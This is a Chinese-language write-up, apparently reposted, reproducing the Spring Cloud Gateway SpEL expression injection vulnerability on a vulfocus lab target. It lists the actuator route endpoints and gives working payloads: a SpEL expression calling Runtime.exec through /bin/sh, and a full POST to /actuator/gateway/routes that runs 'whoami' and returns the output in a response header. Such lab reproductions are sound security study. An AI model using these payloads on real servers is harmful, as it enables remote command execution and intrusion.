原文地址
Spring Cloud Gateway 是 Spring Cloud 下的一个项目,该项目是基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效、统一的 API 路由管理方式。
影响范围
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
原理
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
Spring cloud GateWay的actuator相关端点:
-
获取所有路由:Get请求:http://localhost:xxxx/actuator/gateway/routes/
-
添加路由:POST请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
-
删除路由:DELETE请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
-
获取指定路由:GET请求:http://localhost:xxxx/actuator/gateway/routes/路由编号
-
刷新路由:POST请求:http://localhost:xxxx/actuator/gateway/refresh
其中,调用添加路由的端点时,可以向路由中加入
filters
,过滤器的值允许为spEL表达式,且会解析这个spEL表达式。可以通过构造spEL进行远程命令执行。构造的filters
可以直接利用gateway自带的AddResponseHeader
,将spEL的执行结果添加到响应头中,直接通过响应头进行查看。
复现
利用vulfocus在线靶场来进行漏洞复现 靶场地址
构造payload
id 字段指定新路由的名称,必须全局唯一;
filters字段给这条路由指定若干个过滤器。过滤器用于对请求和响应进行修改;
name 字段指定要添加的过滤器,这里添加了一个 AddResponseHeader 过滤器,用于 gateway 给客户端返回响应之前添加一个响应头;
args.name 字段指定要添加的响应头;
args.value 字段指定响应头的值。这里的值是要执行的 SPEL 表达式,用于执行 “任意例如whoami” 命令。注意需要将命令输出结尾的换行符去掉,否则过滤器执行时会抛出异常说「响应头的值不能以 \r 或 \n 结尾」;
uri 字段指定将客户端请求转发到 http://example.com。
payload示例
{
"id": "----自定义一个路由id--------",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "--------此处构造spEL-------------"
}
}],
"uri": "http://localhost:8088------随意写个地址",
"predicates": ["Path=/aaa/**--------随意写个匹配规则"]
}
步骤:
- 按照上面的示例payload,通过构造spEL,在spEL中使用
Runtime
类执行命令。 - 调用刷新路由的端点,刷新gateway中的路由
- 调用获取指定路由的端点,使路由的spEL表达式被解析执行
因为 filters
中的value
类型为字符串,所以如果想在获取指定路由时,通过响应看到命令执行结果,那么可以将spEL表达式通过new String(xxxxx)
构造成返回String
字符串的返回值。
例如:#{new String(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", \"ls -l /"}).toString())}
POST /actuator/gateway/routes/test
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
发送到返回包 repeater
POST /actuator/gateway/refresh
GET /actuator/env